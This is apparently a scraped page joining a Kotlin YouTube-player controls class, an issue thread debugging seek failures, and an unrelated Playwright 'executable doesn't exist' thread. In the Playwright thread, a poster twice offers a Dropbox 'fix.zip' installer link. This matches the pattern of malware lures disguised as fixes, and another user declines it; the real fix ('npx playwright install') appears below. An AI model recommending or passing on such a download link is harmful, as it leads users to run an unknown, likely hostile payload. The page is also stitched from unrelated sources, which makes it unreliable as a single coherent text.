    :  AbstractYouTubePlayerListener(), YouTubePlayerSeekBarListener {

    private val panel: View = controlsView.findViewById(R.id.panel)
    private val controlsContainer: View = controlsView.findViewById(R.id.controls_container)
    private val progressBar: ProgressBar = controlsView.findViewById(R.id.progress)
    private val playPauseButton: ImageView = controlsView.findViewById(R.id.play_pause_button)
    private val youtubePlayerSeekBar: YouTubePlayerSeekBar = controlsView.findViewById(R.id.youtube_player_seekbar)
    private val fadeControlsContainer: FadeViewHelper = FadeViewHelper(controlsContainer)

    private var isPlaying = false
    private var isPlayPauseButtonEnabled = true

    init {
        initClickListeners()
    }

    private fun initClickListeners() {
        youTubePlayer.addListener(youtubePlayerSeekBar)
        youTubePlayer.addListener(fadeControlsContainer)

        youtubePlayerSeekBar.youtubePlayerSeekBarListener = this
        panel.setOnClickListener { fadeControlsContainer.toggleVisibility() }
        playPauseButton.setOnClickListener { onPlayButtonPressed() }
    }

    override fun seekTo(time: Float) {
        youTubePlayer.seekTo(time)
    }

    fun showControl(){
        panel.callOnClick()
    }

    private fun onPlayButtonPressed() {
        if (isPlaying)
            youTubePlayer.pause()
        else
            youTubePlayer.play()
    }

    private fun updateState(state: PlayerConstants.PlayerState) {
        when (state) {
            PlayerConstants.PlayerState.ENDED -> isPlaying = false
            PlayerConstants.PlayerState.PAUSED -> isPlaying = false
            PlayerConstants.PlayerState.PLAYING -> isPlaying = true
            PlayerConstants.PlayerState.BUFFERING -> isPlaying = false
            else -> { }
        }

        updatePlayPauseButtonIcon(!isPlaying)
    }

    private fun updatePlayPauseButtonIcon(playing: Boolean) =
            playPauseButton.setImageResource(if (playing) R.drawable.ic_pause_24dp else R.drawable.ic_play_arrow_24dp)

    // YouTubePlayer callbacks

    override fun onStateChange(youTubePlayer: YouTubePlayer, state: PlayerConstants.PlayerState) {
        updateState(state)

        if (state === PlayerConstants.PlayerState.PLAYING || state === PlayerConstants.PlayerState.PAUSED || state === PlayerConstants.PlayerState.VIDEO_CUED) {
            panel.setBackgroundColor(ContextCompat.getColor(panel.context, android.R.color.transparent))
            progressBar.visibility = View.GONE

            if (isPlayPauseButtonEnabled) playPauseButton.visibility = View.VISIBLE

            updatePlayPauseButtonIcon(state === PlayerConstants.PlayerState.PLAYING)

        } else {
            updatePlayPauseButtonIcon(false)

            if (state === PlayerConstants.PlayerState.BUFFERING) {
                progressBar.visibility = View.VISIBLE
                panel.setBackgroundColor(ContextCompat.getColor(panel.context, android.R.color.transparent))
                if (isPlayPauseButtonEnabled) playPauseButton.visibility = View.INVISIBLE

            }

            if (state === PlayerConstants.PlayerState.UNSTARTED) {
                progressBar.visibility = View.GONE
                if (isPlayPauseButtonEnabled) playPauseButton.visibility = View.VISIBLE
            }
        }
    }
}

hey @sonusourav , is it happening for some set of urls or randomly occurring on any video?
Have not investigated it much. Jut started looking into it deeply now

hey @sonusourav , is it happening for some set of urls or randomly occurring on any video?
Have not investigated it much. Jut started looking into it deeply now

@SlayerMMD I don't think it has anything to do with videos

Hey @SlayerMMD wait, I think you are correct. Till now, I was checking with just one video id. Now, I checked with some other, and it seems to be working fine. Can others also check once

Hey @sonusourav , Yaa i knew for a fact that it works sometimes and sometimes it is failing, that's why wanted to be sure, it it failing for a particular video always? it will help debug the issue. But if it is randomly failing. It will be really hard to find the root cause

Hey @SlayerMMD , I can now confirmly say that there is something to do with video ids only because I tried to put the id which was not working in mine project to the sample project and its not working there also. (0ZqiHrBW8Ug)
@PierfrancescoSoffritti Any idea why this might be happening?

Okay, So i debugged it further
We are getting this error when we are trying to use seekbar or directly using the seekTo method
Uncaught Error: Java exception was raised during method invocation line numner 106 source id https://www.youtube.com/
Now, i am not sure how we can check this out :D

hey guys, it works fine, when I load videos on landscape mode by default.

@SlayerMMD is that error coming from the webview? if so you should have a look in the javascript code. Even though that "java exception" would indicate it's not coming from javascript.

Hey @PierfrancescoSoffritti , Yup i override the onConsoleMessage of the webchromeclient and when it gets stuck, we always see this error.

Hey Guys! seems this issue is auto-fixed for me from remote youtube scripts . Can you guys confirm the same . If it is resolved for all of you we could close this issue .

Yeah, even I was surprised to see it fixed all of a sudden 😅 . But the good thing is its fixed 🎊

Nice, glad to hear. Maybe they changed something in the IFrame player.


An unexpected error occurred: BrowserType.launch: Executable doesn't exist

An unexpected error occurred: BrowserType.launch: Executable doesn't exist at /Users/moffe/Library/Caches/ms-playwright/chromium-1129/chrome-mac/Chromium.app/Contents/MacOS/Chromium ╔════════════════════════════════════════════════════════════╗ ║ Looks like Playwright was just installed or updated. ║ ║ Please run the following command to download new browsers: ║ ║ ║ ║ playwright install ║ ║ ║ ║ <3 Playwright Team ║ ╚════════════════════════════════════════════════════════════╝.

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Please type playwright install in your cmd and it will work.

Please provide a screenshot as I won't download any files.

user"npx playwright install",and it works.